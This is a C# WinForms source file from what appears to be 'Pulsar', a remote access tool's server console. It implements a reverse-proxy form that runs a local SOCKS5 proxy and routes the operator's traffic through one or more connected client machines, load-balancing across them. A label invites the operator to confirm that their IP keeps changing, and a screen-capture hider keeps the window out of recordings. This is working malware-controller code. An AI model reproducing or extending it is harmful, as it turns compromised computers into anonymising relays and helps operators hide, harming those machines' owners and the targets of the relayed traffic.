using Pulsar.Common.Helpers; using Pulsar.Common.Messages; using Pulsar.Server.Forms.DarkMode; using Pulsar.Server.Helper; using Pulsar.Server.Messages; using Pulsar.Server.Models; using Pulsar.Server.Networking; using Pulsar.Server.ReverseProxy; using System; using System.Globalization; using System.Net.Sockets; using System.Windows.Forms; namespace Pulsar.Server.Forms { public partial class FrmReverseProxy : Form { /// /// The clients which can be used for the reverse proxy. /// private readonly Client[] _clients; /// /// The message handler for handling the communication with the clients. /// private readonly ReverseProxyHandler _reverseProxyHandler; /// /// The open reverse proxy connections. /// private ReverseProxyClient[] _openConnections; /// /// Initializes a new instance of the class using the given clients. /// /// The clients used for the reverse proxy form. public FrmReverseProxy(Client[] clients) { this._clients = clients; this._reverseProxyHandler = new ReverseProxyHandler(clients); RegisterMessageHandler(); InitializeComponent(); DarkModeManager.ApplyDarkMode(this); ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle); } /// /// Registers the reverse proxy message handler for client communication. /// private void RegisterMessageHandler() { //_connectClient.ClientState += ClientDisconnected; _reverseProxyHandler.ProgressChanged += ConnectionChanged; MessageHandler.Register(_reverseProxyHandler); } /// /// Unregisters the reverse proxy message handler. /// private void UnregisterMessageHandler() { MessageHandler.Unregister(_reverseProxyHandler); _reverseProxyHandler.ProgressChanged -= ConnectionChanged; //_connectClient.ClientState -= ClientDisconnected; } /// /// Called whenever a client disconnects. /// /// The client which disconnected. /// True if the client connected, false if disconnected /// TODO: Handle disconnected clients private void ClientDisconnected(Client client, bool connected) { if (!connected) { this.Invoke((MethodInvoker)this.Close); } } private void FrmReverseProxy_Load(object sender, EventArgs e) { if (_clients.Length > 1) { this.Text = "Reverse Proxy [Load-Balancer is active]"; lblLoadBalance.Text = "The Load Balancer is active, " + _clients.Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works"; } else if (_clients.Length == 1) { this.Text = WindowHelper.GetWindowTitle("Reverse Proxy", _clients[0]); lblLoadBalance.Text = "The Load Balancer is not active, only 1 client is used, select multiple clients to activate the load balancer"; } nudServerPort.Value = Settings.ReverseProxyPort; } private void FrmReverseProxy_FormClosing(object sender, FormClosingEventArgs e) { Settings.ReverseProxyPort = GetPortSafe(); UnregisterMessageHandler(); _reverseProxyHandler.Dispose(); } private void ConnectionChanged(object sender, ReverseProxyClient[] proxyClients) { lock (_reverseProxyHandler) { lstConnections.BeginUpdate(); _openConnections = proxyClients; lstConnections.VirtualListSize = _openConnections.Length; lstConnections.EndUpdate(); } } private void btnStart_Click(object sender, EventArgs e) { try { ushort port = GetPortSafe(); if (port == 0) { MessageBox.Show("Please enter a valid port > 0.", "Please enter a valid port", MessageBoxButtons.OK, MessageBoxIcon.Warning); return; } _reverseProxyHandler.StartReverseProxyServer(port); ToggleConfigurationButtons(true); } catch (SocketException ex) { if (ex.ErrorCode == 10048) { MessageBox.Show("The port is already in use.", "Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } else { MessageBox.Show($"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}", "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } } catch (Exception ex) { MessageBox.Show($"An unexpected error occurred: {ex.Message}", "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } } /// /// Safely gets the value from the and parses it as . /// /// The server port parsed as . Returns 0 on error. private ushort GetPortSafe() { var portValue = nudServerPort.Value.ToString(CultureInfo.InvariantCulture); return (!ushort.TryParse(portValue, out ushort port)) ? (ushort)0 : port; } /// /// Toggles the activatability of configuration controls. /// /// When set to true the configuration controls get enabled, otherwise they get disabled. private void ToggleConfigurationButtons(bool started) { btnStart.Enabled = !started; nudServerPort.Enabled = !started; btnStop.Enabled = started; } private void btnStop_Click(object sender, EventArgs e) { ToggleConfigurationButtons(false); _reverseProxyHandler.StopReverseProxyServer(); } private void nudServerPort_ValueChanged(object sender, EventArgs e) { lblProxyInfo.Text = string.Format("Connect to this SOCKS5 Proxy: 127.0.0.1:{0} (no user/pass)", nudServerPort.Value); } private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualItemEventArgs e) { lock (_reverseProxyHandler) { if (e.ItemIndex < _openConnections.Length) { ReverseProxyClient connection = _openConnections[e.ItemIndex]; e.Item = new ListViewItem(new string[] { connection.Client.EndPoint.ToString(), connection.Client.Value.Country, (connection.HostName.Length > 0 && connection.HostName != connection.TargetServer) ? string.Format("{0} ({1})", connection.HostName, connection.TargetServer) : connection.TargetServer, connection.TargetPort.ToString(), StringHelper.GetHumanReadableFileSize(connection.LengthReceived), StringHelper.GetHumanReadableFileSize(connection.LengthSent), connection.Type.ToString() }) { Tag = connection }; } } } private void killConnectionToolStripMenuItem_Click(object sender, EventArgs e) { lock (_reverseProxyHandler) { if (lstConnections.SelectedIndices.Count > 0) { //copy the list, it could happen that suddenly the items de-select int[] items = new int[lstConnections.SelectedIndices.Count]; lstConnections.SelectedIndices.CopyTo(items, 0); foreach (int index in items) { if (index < _openConnections.Length) { ReverseProxyClient connection = _openConnections[index]; connection?.Disconnect(); } } } } } } }